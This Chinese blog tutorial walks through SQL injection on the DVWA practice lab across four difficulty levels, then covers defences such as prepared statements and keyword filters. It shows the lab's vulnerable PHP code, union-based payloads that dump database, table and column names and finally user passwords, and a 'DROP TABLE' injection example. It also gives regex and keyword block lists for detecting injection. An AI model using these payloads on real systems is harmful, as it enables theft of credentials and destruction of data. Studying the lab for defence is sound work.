ITPub博客

首页 > 数据库 > SQL Server > DVWAwwwhj8828com13099636600漏洞靶场之SQL注入渗透测试

DVWAwwwhj8828com13099636600漏洞靶场之SQL注入渗透测试

原创 SQL Server 作者:hj8828 时间:2018-10-12 09:56:01 0 删除 编辑

本文教程由五个部分组成:

dvwa SQL注入漏洞低级教程 SQL Injection Low

dvwa SQL注入漏洞中级教程 SQL Injection medium

dvwa SQL注入漏洞高级教程 SQL Injection High

dvwa SQL注入漏洞不可能破解教程 SQL Injection impossible

dvwa SQL注入漏洞WEB安全参考 SQL Injection Safety Guide

系列教程说明

WEB渗透测试DVWA漏洞靶场通关系列教程

描述:dvwa 靶场介绍、dvwa 靶场安装、dvwa 靶场使用教程说明 点击这里 ,合在一起的。向本号回复“ dvwa ”将会获得最新更新系列文章;


第一部分 dvwa SQL注入漏洞低级教程 

大家好,今天我们要学习SQL注入,我想大家应该都听说过吧,这个的名气还是很大的。

什么是SQL注入

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。    
还是老规矩我们先来看看代码吧。





<?php

 


if isset ( $_REQUEST[  'Submit'  ] ) ) { 
     // Get input 
    $id = $_REQUEST[  'id'  ]; 

     // Check database 
    $query  =  "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
    $result = mysqli_query($GLOBALS[ "___mysqli_ston" ],  $query )  or   die '<pre>'  . ((is_object($GLOBALS[ "___mysqli_ston" ])) ? mysqli_error($GLOBALS[ "___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res :  false )) .  '</pre>'  ); 

     // Get results 
     while ( $row = mysqli_fetch_assoc( $result ) ) { 
         // Get values 
        $first = $row[ "first_name" ]; 
        $last  = $row[ "last_name" ]; 

         // Feedback for end user 
         echo   "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"
    } 

    mysqli_close($GLOBALS[ "___mysqli_ston" ]); 


?>
 

从下面的代码中我们可以知道是字符型注入。



 



$id

 = 

$_REQUEST

'id'

 ]; 


    // Check database 
     $query   =  "SELECT first_name, last_name FROM users WHERE user_id = ' $id ';"

我们来试试看。    


我们提交 1' and '1'='1 的时候正常,提交1' and '1'='2 是空的 说明是有注入的。那我们来看看能不能得到别的信息吧。


1.猜解SQL查询语句中的字段数

用 order by 语句  



我们用order by 语句查询的时候发现在3出错,那就意味着字段数为2.


2.确定显示的字段顺序


说明是firstname ,surname这个顺序。


3.获取当前数据库

用联合查询



 1' union 

select

 

1

,datebase() 

#




好了dvwa是数据库的名,我们继续吧。


4.获取数据库中的表



1' union 

select

 

1

,

group_concat

(table_name) 

from

 information_schema.tables 

where

 table_schema=

database

() 



我们用这个语句来查询。     

成功获得两个表名


5.字段名

用这个语句查询



1' union 

select

 

1

,

group_concat

(column_name) 

from

 information_schema.columns 

where

 table_name=

'users'

 

#   





6.账户密码

用这个语句



1' or 1=1 union 

select

 

group_concat

(user_id,first_name,last_name),

group_concat

(

password

from

 

users

 

#   




哈哈,最后一步是很激动的,大家一起去试试看。    


第二部分 dvwa SQL注入漏洞中级教程 

话不多说,我们看中级代码。





<?php

 


if isset ( $_POST[  'Submit'  ] ) ) { 
     // Get input 
    $id = $_POST[  'id'  ]; 

    $id = mysqli_real_escape_string($GLOBALS[ "___mysqli_ston" ], $id); 

    $query  =  "SELECT first_name, last_name FROM users WHERE user_id = $id;"
    $result = mysqli_query($GLOBALS[ "___mysqli_ston" ], $query)  or   die '<pre>'  . mysqli_error($GLOBALS[ "___mysqli_ston" ]) .  '</pre>'  ); 

     // Get results 
     while ( $row = mysqli_fetch_assoc( $result ) ) { 
         // Display values 
        $first = $row[ "first_name" ]; 
        $last  = $row[ "last_name" ]; 

         // Feedback for end user 
         echo   "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"
    } 



// This is used later on in the index.php page 
// Setting it here so we can close the database connection in here like in the rest of the source scripts 
$query  =  "SELECT COUNT(*) FROM users;"
$result = mysqli_query($GLOBALS[ "___mysqli_ston" ],  $query )  or   die '<pre>'  . ((is_object($GLOBALS[ "___mysqli_ston" ])) ? mysqli_error($GLOBALS[ "___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res :  false )) .  '</pre>'  ); 
$number_of_rows = mysqli_fetch_row( $result )[ ]; 

mysqli_close($GLOBALS[ "___mysqli_ston" ]); 
?>
 

从下面的代码我们知道是数字型注入。



  $query  = "

SELECT

 first_name, last_name 

FROM

 

users

 

WHERE

 user_id = $

id

;"; 

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。  
下列字符受影响:

\x00  
\n  
\r  
\  
'  
"  
\x1a  
 


如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。    
而且前端用了下拉菜单,控制用户的输入。
   

但是我们可以直接抓包修改。    
看到了没有直接提交    
后面的步骤和低级差不多只是不要单引号了。      

一直到这里都和前面一样但是呢,接着看。      
我们获取字段的时候单引号被转义了,但是我们可以进行16进制编码。      
这样就欧克了。    
然后最后一步了。    

大家去试试看吧。       


第三部分 dvwa SQL注入漏洞高级教程

我们来看看高级的代码吧。





<?php

 


if isset ( $_SESSION [  'id'  ] ) ) { 
     // Get input 
    $id = $_SESSION[  'id'  ]; 

     // Check database 
    $query  =  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"
    $result = mysqli_query($GLOBALS[ "___mysqli_ston" ], $query )  or   die '<pre>Something went wrong.</pre>'  ); 

     // Get results 
     while ( $row = mysqli_fetch_assoc( $result ) ) { 
         // Get values 
        $first = $row[ "first_name" ]; 
        $last  = $row[ "last_name" ]; 

         // Feedback for end user 
         echo   "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS[ "___mysqli_ston" ]))) ?  false  : $___mysqli_res);         


?>
 


就加了个 LIMIT 1,我们可以用#注释掉,步骤和低级一样,只是在最后你注入的代码中输入 #就行了,我们直接进行最后一步。  

第四部分 dvwa SQL注入漏洞不可能破解教程

来看看不可能的代码





<?php

 


if isset ( $_GET[  'Submit'  ] ) ) { 
     // Check Anti-CSRF token 
    checkToken( $_REQUEST[  'user_token'  ], $_SESSION[  'session_token'  ],  'index.php'  ); 

     // Get input 
    $id = $_GET[  'id'  ]; 

     // Was a number entered? 
     if (is_numeric( $id )) { 
         // Check the database 
        $data = $db->prepare(  'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'  ); 
        $data->bindParam(  ':id' , $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

         // Make sure only 1 result is returned 
         if ( $data->rowCount() ==  1  ) { 
             // Get values 
            $first = $row[  'first_name'  ]; 
            $last  = $row[  'last_name'  ]; 

             // Feedback for end user 
             echo   "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"
        } 
    } 


// Generate Anti-CSRF token 
generateSessionToken(); 

?>
   

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。


第五部分 dvwa SQL注入漏洞WEB安全参考

我们来看看有哪些防卫机制    
1.预防数字注入:    
很简单,因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了。是整数就不存在注入;如果不是那么就有可能存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。所以说不管是不是为了预防SQL注入,也都应该验证id是不是整数。
验证方法嘛,可以用TryParse,可以用正则,也可以自己写函数验证。但是不建议用try异常的方式,因为这个有效率问题。
这里还有一个特殊情况,就是对于批量删除这类的会传递过来多个数字,比如“1,2,3,10”,这个也需要验证一下,万一有人利用这个漏洞呢。至于验证方法也很简单,自己写个函数就ok了。      
2.使用正则表达式过滤传入的参数  


要引入的包:  
import java.util.regex.*;  
正则表达式:  
private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;  
判断是否匹配:  
Pattern.matches(CHECKSQL,targerStr);    
下面是具体的正则表达式:

检测SQL meta-characters的正则表达式 :  
/(\%27)|(\’)|(--)|(\%23)|(#)/ix  
修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]((\%27)|(\’)|(--)|(\%3B)|(:))/i   典型的SQL 注入攻击的正则表达式 :/\w((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix  
检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)    
检测MS SQL Server SQL注入攻击的正则表达式:  
/exec(\s|+)+(s|x)p\w+/ix    
等等…..  
   


3.字符串过滤  
比较通用的一个方法:  
(||之间的参数可以根据自己程序的需要添加)



public static boolean sql_inj(String str)  

{   
String inj_str =  "'|and|exec|insert|select|delete|update|    
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"
;  
String inj_stra[] =  split (inj_str, "|" );   
for  ( int  i=  ; i & lt ; inj_stra.length ; i++ )   
{   
if  (str.indexOf(inj_stra[i])& gt ;= )   
{   
  return  true;   
}   
}  
return  false;  
}


基于开发框架THINKPHP建议

在确保用户请求的数据安全之后,数据库的安全隐患就已经很少了,因为5.0版本的数据操作使用了PDO预处理机制及自动参数绑定功能,请确保:

尽量少使用数组查询条件而应该使用查询表达式替代;  
尽量少使用字符串查询条件,如果不得已的情况下 使用手动参数绑定功能;  
不要让用户输入决定要查询或者写入的字段;  
对于敏感数据在输出的时候使用hidden方法进行隐藏;  
对于数据的写入操作应当做好权限检查工作;  
写入数据严格使用field方法限制写入字段;  
对于需要输出到页面的数据做好必要的XSS过滤;

基于开发框架YII建议

SQL 注入发生在查询语句是由连接未转义的字符串生成的场景,比如:




$username

 = 

$_GET

[

'username'

];

$sql  =  "SELECT * FROM user WHERE username = ' $username '" ;

除了提供正确的用户名外,攻击者可以给你的应用程序输入类似 '; DROP TABLE user; --` 的语句。 这将会导致生成如下的 SQL :

SELECT * FROM user WHERE username = ''; DROP TABLE user; --'

这是一个合法的查询语句,并将会执行以空的用户名搜索用户操作,然后,删除 user 表。   这极有可能导致网站出错,数据丢失。(你是否进行了规律的数据备份?)

在 Yii 中,大部分的数据查询是通过 Active Record 进行的, 而其是完全使用 PDO 预处理语句执行 SQL 查询的。在预处理语句中,上述示例中,构造 SQL 查询的场景是不可能发生的。

有时,你仍需要使用 raw queries 或者 query builder。   在这种情况下,你应该使用安全的方式传递参数。如果数据是提供给表列的值,最好使用预处理语句:




// query builder


$userIDs = ( new  Query())
    ->select( 'id' )
    ->from( 'user' )
    ->where( 'status=:status' , [ ':status'  => $status])
    ->all();

// DAO
$userIDs = $connection
    ->createCommand( 'SELECT id FROM user where status=:status' )
    ->bindValues([ ':status'  => $status])
    ->queryColumn();

如果数据是用于指定列的名字,或者表的名字,最好的方式是只允许预定义的枚举值。





function

 

actionList


($orderBy = null)


{
     if  (!in_array($orderBy, [ 'name' 'status' ])) {
         throw   new  BadRequestHttpException( 'Only name and status are allowed to order by.' )
    }

     // ...
}

如果上述方法不行,表名或者列名应该被转义。 Yii 针对这种转义提供了一个特殊的语法, 这样可以在所有支持的数据库都使用一套方案。



$sql = 

"SELECT COUNT([[$column]]) FROM {{table}}"

;

$rowCount = $connection->createCommand($sql)->queryScalar();


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/31554484/viewspace-2216132/,如需转载,请注明出处,否则将追究法律责任。

下一篇: 没有了~
请登录后发表评论 登录
全部评论

注册时间:2018-09-20

  • 博文量
    6
  • 访问量
    2420